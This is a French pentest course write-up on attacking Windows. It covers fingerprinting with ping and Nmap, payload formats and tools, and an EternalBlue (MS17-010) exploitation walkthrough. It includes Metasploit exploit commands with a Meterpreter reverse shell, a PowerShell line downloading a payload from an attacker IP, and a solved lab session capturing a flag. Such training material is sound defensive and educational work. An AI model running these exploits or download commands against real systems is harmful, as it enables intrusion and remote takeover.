Infiltrating Windows
🧠 Introduction
Microsoft domine depuis des décennies les marchés domestiques et professionnels de l'informatique. Avec l'évolution de Windows, notamment les améliorations d'Active Directory, l'intégration au cloud, le Windows Subsystem for Linux (WSL), etc., la surface d'attaque de l'écosystème Windows s'est considérablement agrandie.
Entre 2019 et 2024, pas moins de 3688 vulnérabilités ont été recensées dans les produits Microsoft. De nombreuses failles critiques ont été activement exploitées.

💥 Exploits Windows les Plus Connus
MS08-067
Failles SMB exploitées par Conficker et Stuxnet. Permet l'exécution distante de code sur de nombreuses versions de Windows.
EternalBlue
MS17-010, exploit SMBv1 issu des leaks Shadow Brokers (NSA). Utilisé par WannaCry et NotPetya.
PrintNightmare
Exécution de code via le spooler d'impression Windows avec élévation de privilèges.
BlueKeep
CVE-2019-0708, exécution de code à distance via RDP. Affecte Windows 2000 à 2008 R2.
SigRed
CVE-2020-1350, faille DNS permettant de compromettre un contrôleur de domaine.
SeriousSAM
CVE-2021-36934, mauvaise configuration d'accès aux fichiers du répertoire system32\config
, exposant la base SAM (hashs de mots de passe).
Zerologon
CVE-2020-1472, faille critique dans le protocole MS-NRPC permettant de falsifier les authentifications sur le domaine Active Directory.
La connaissance et la compréhension de ces vulnérabilités sont essentielles pour les exploiter ou les mitiger efficacement dans des environnements professionnels.
🔍 Méthodes d'Empreinte (Fingerprinting) & Détection Windows
Avant d'attaquer, il faut s'assurer que la cible est bien un système Windows. Voici quelques méthodes simples d'identification.
⌚ Analyse du Time To Live (TTL)
Lors d'un ping ICMP, Windows répond typiquement avec un TTL de 128. Voici un exemple :
ping 10.10.10.10
64 bytes from 10.10.10.10: icmp_seq=0 ttl=128 time=14.2 ms
Ce TTL peut être diminué si des routeurs s'interposent, mais reste généralement au-dessus de 100 pour les hôtes proches.
🚀 Scan d’OS avec Nmap
Nmap permet une identification de l'OS avec -O
. Voici un exemple de résultat :
sudo nmap -v -O 10.10.10.10
...
OS CPE: cpe:/o:microsoft:windows_10
OS details: Microsoft Windows 10 1709 - 1909
En cas de détection difficile, utiliser les options -A
et -Pn
pour améliorer les résultats.
📊 Analyse des ports ouverts
Certains ports sont typiques des machines Windows :
135 (RPC)
139 (NetBIOS)
445 (SMB)
Voici un extrait de scan Nmap sur un hôte Windows :
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
902/tcp open iss-realsecure
912/tcp open apex-mesh
Les ports 902 et 912 indiquent ici une instance de VMware Workstation.
📢 Banner Grabbing avec Nmap
Pour obtenir plus d'informations sur les services, on peut utiliser le script banner.nse
de Nmap :
sudo nmap -v 10.10.10.10 --script banner.nse
Extrait de réponse :
902/tcp open iss-realsecure
| banner: 220 VMware Authentication Daemon Version 1.10: SSL Required
912/tcp open apex-mesh
| banner: 220 VMware Authentication Daemon Version 1.0
Ces informations permettent d'affiner les recherches d'exploits spécifiques à un logiciel ou une version données.
🧨 Bats, DLLs & MSI Files, Oh My!
Lorsqu’il s’agit de créer des payloads pour des hôtes Windows, de nombreuses options sont possibles. Parmi les formats courants utilisés :
DLLs
Fichiers batch (.bat)
Fichiers MSI
Scripts PowerShell
Scripts VBS
Tous ces fichiers ont un point commun : ils peuvent être exécutés sur la machine cible. Le choix du format dépendra notamment du vecteur de livraison retenu.
📦 Types de payloads à envisager
🧩 DLLs (Dynamic-Link Libraries)
Les fichiers DLL sont des bibliothèques partagées sous Windows. Ils permettent d’avoir un code modulaire et réutilisable entre plusieurs programmes. En tant que pentester, il est possible :
d’injecter une DLL malveillante dans un processus,
de détourner une DLL vulnérable déjà présente.
Cela peut permettre d'obtenir des privilèges SYSTEM ou de contourner l’UAC (User Account Control).
📜 Batch files (.bat)
Les fichiers batch sont des scripts en langage DOS permettant d’automatiser des commandes. Très utilisés par les administrateurs système, ils peuvent :
ouvrir un port sur la machine victime,
établir une connexion vers l’attaquant (reverse shell),
réaliser une énumération basique,
exfiltrer des informations.
🧪 VBScript (VBS)
Le VBScript est un langage de script basé sur Visual Basic. Bien que désactivé sur la majorité des navigateurs modernes, il reste utilisé dans des contextes d’attaque (phishing, macros Excel, etc.). Il s’exécute via le moteur de script Windows et permet d’automatiser l’exécution de code malveillant.
📦 MSI (Microsoft Installer)
Les fichiers .msi
sont des bases de données d'installation utilisées par le système Windows Installer. Il est possible de créer un payload encapsulé dans un fichier MSI et de l’exécuter sur la cible via :
msiexec /i fichier_malveillant.msi
⚡ PowerShell
PowerShell est à la fois un shell moderne et un langage de script intégré aux systèmes Windows. Basé sur .NET, il permet :
d’exécuter du code arbitraire,
de gérer des objets Windows natifs,
de construire et d’exécuter des payloads dynamiques,
d’interagir avec l’OS à bas niveau.
PowerShell est extrêmement puissant pour obtenir une exécution de commande et un shell sur l’hôte cible.
🧰 Outils, Tactiques & Procédures pour la génération, le transfert et l'exécution de payloads
🔧 Génération de payloads
Plusieurs outils permettent de générer des payloads compatibles Windows. Voici quelques ressources clés :
MSFVenom / Metasploit Framework
Génère des payloads, les encode et les intègre dans des fichiers exécutables. Outil polyvalent du pentester.
Payloads All The Things
Référentiel communautaire regroupant des exemples de payloads et des techniques de génération.
Mythic C2 Framework
Framework de Command & Control alternatif à Metasploit avec génération de payloads personnalisés.
Nishang
Collection d’outils offensifs PowerShell (implants, scripts d’énumération, etc.).
Darkarmour
Génère des exécutables obfusqués pour échapper à la détection sur Windows.
🚚 Transfert & Exécution de payloads
Différentes méthodes peuvent être utilisées pour transférer et exécuter un payload sur une cible Windows :
📁 Impacket : Suite d’outils Python permettant d’interagir avec divers protocoles réseau (SMB, WMI, Kerberos, etc.). Outils comme
smbclient
,psexec.py
,wmiexec.py
permettent le dépôt et l'exécution de fichiers à distance.📘 Payloads All The Things : Contient de nombreux one-liners pour transférer rapidement un fichier entre deux machines.
🔗 SMB : Utilisable pour copier des fichiers vers des partages comme
C$
ouadmin$
. Pratique dans un environnement Active Directory.🧨 Exécution distante via Metasploit : De nombreux modules exploit intégrés à Metasploit automatisent la création, le transfert et l’exécution du payload.
🌐 Autres protocoles : HTTP, HTTPS, FTP, TFTP peuvent être utilisés selon les services disponibles sur la cible. Exemple :
Invoke-WebRequest -Uri http://<IP ATTAQUANT>/payload.exe -OutFile payload.exe
🔎 Exemple de compromission : EternalBlue sur Windows Server 2016
🔢 Énumération de la cible
L'étape d'énumération est cruciale dans toute chaîne d'exploitation. Avant de tenter une quelconque attaque, il est primordial de comprendre l'environnement cible. Dans ce cas, la cible est une machine Windows dont l'adresse IP est <IP CIBLE>
.
⚖️ Scan Nmap avancé
nmap -v -A <IP CIBLE>
Résultats clés :
Port 80 (HTTP) : Microsoft IIS 10.0
Ports 135, 139, 445 (SMB/RPC) : Services Windows standards (SMB, NetBIOS, RPC)
Nom NetBIOS : SHELLS-WINBLUE
OS : Windows Server 2016 Standard 14393
Workgroup : WORKGROUP
Message signing SMB : Désactivé (risqué)
⚠️ Indice de vulnérabilité possible : MS17-010 (EternalBlue), connu pour affecter Windows Server 2008 à 2016.
🔮 Identification de la vulnérabilité MS17-010
🧰 Scan via Metasploit
Lancement de Metasploit et utilisation du module de vérification pour MS17-010.
msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS <IP CIBLE>
run
Résultat attendu :
[+] <IP CIBLE>:445 - Host is likely VULNERABLE to MS17-010!
🚀 Exploitation de MS17-010 avec Metasploit
🤖 Recherche et sélection de l'exploit
search eternal
Nous choisissons ici :
use exploit/windows/smb/ms17_010_psexec
⚖️ Configuration de l'exploit et du payload
set RHOSTS <IP CIBLE>
set LHOST <IP ATTAQUANT>
set LPORT 4444
Le payload par défaut est : windows/meterpreter/reverse_tcp
🔍 Vérification des options
show options
S'assurer que les champs suivants sont bien renseignés :
RHOSTS
LHOST
LPORT
🔨 Exécution de l'exploit
Une fois tous les paramètres en place :
run
Si l'exploitation réussit, un shell Meterpreter s'ouvre :
meterpreter >
Cela signifie que l'accès à distance à la machine cible est effectif.
🔒 Points de vigilance
MS17-010 est une faille critique exploitée dans le cadre d'attaques réelles (ex : WannaCry).
L'utilisation de
psexec
implique que l'attaquant puisse exécuter du code en tant qu'administrateur (privilèges SYSTEM).Un antivirus ou un EDR peut détecter l'exploit ou le payload si non obfusqué.
📅 Récapitulatif
Scan des ports
Nmap
Détecter les services exposés
Détection MS17-010
Metasploit (auxiliary)
Identifier la vulnérabilité
Exploitation
Metasploit (exploit + payload)
Obtenir un shell Meterpreter
🔹 Conclusion
La reconnaissance d’un système Windows est une étape essentielle dans toute phase d’infiltration. Elle permet de préparer efficacement les prochaines étapes d’attaque : choix des exploits, création de payloads adaptés, et évaluation de la surface d’attaque.
📚 Ressources utiles
What file type is a text-based DOS script used to perform tasks from the cli? (answer with the file extension, e.g. '.something')
Comme mentionné dans le cours, l'extension associée aux scripts DOS est le .bat
.
What Windows exploit was dropped as a part of the Shadow Brokers leak? (Format: ms bulletin number, e.g. MSxx-xxx)
L'exploit Windows drop dans le cardre de la fuite de Shadow Brokers est EternalBlue (MS17-010
).
Gain a shell on the vulnerable target, then submit the contents of the flag.txt file that can be found in C:\
Lancement de Metasploit :
sudo msfconsole
Une fois lancer, nous recherchons les exploit en lien avec eternalblue :
[msf](Jobs:0 Agents:0) >> search exploit ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
[...]
10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
[...]
Nous choisissons alors l'exploit numéro 10 (exploit/windows/smb/ms17_010_psexec
), modifions les options et accedons à notre cible :
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> use 10
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_psexec) >> set rhost 10.129.201.97
rhost => 10.129.201.97
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_psexec) >> set lhost 10.10.14.171
lhost => 10.10.14.171
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_psexec) >> exploit
[*] Started reverse TCP handler on 10.10.14.171:4444
[*] Meterpreter session 1 opened (10.10.14.171:4444 -> 10.129.201.97:49673) at 2025-07-03 04:47:10 -0500
(Meterpreter 1)(C:\Windows\system32) > cd ../../
(Meterpreter 1)(C:\) > cat flag.txt
EB-Still-W0rk$
Nous obtenons alors le flag attendu :
EB-Still-W0rk$
Mis à jour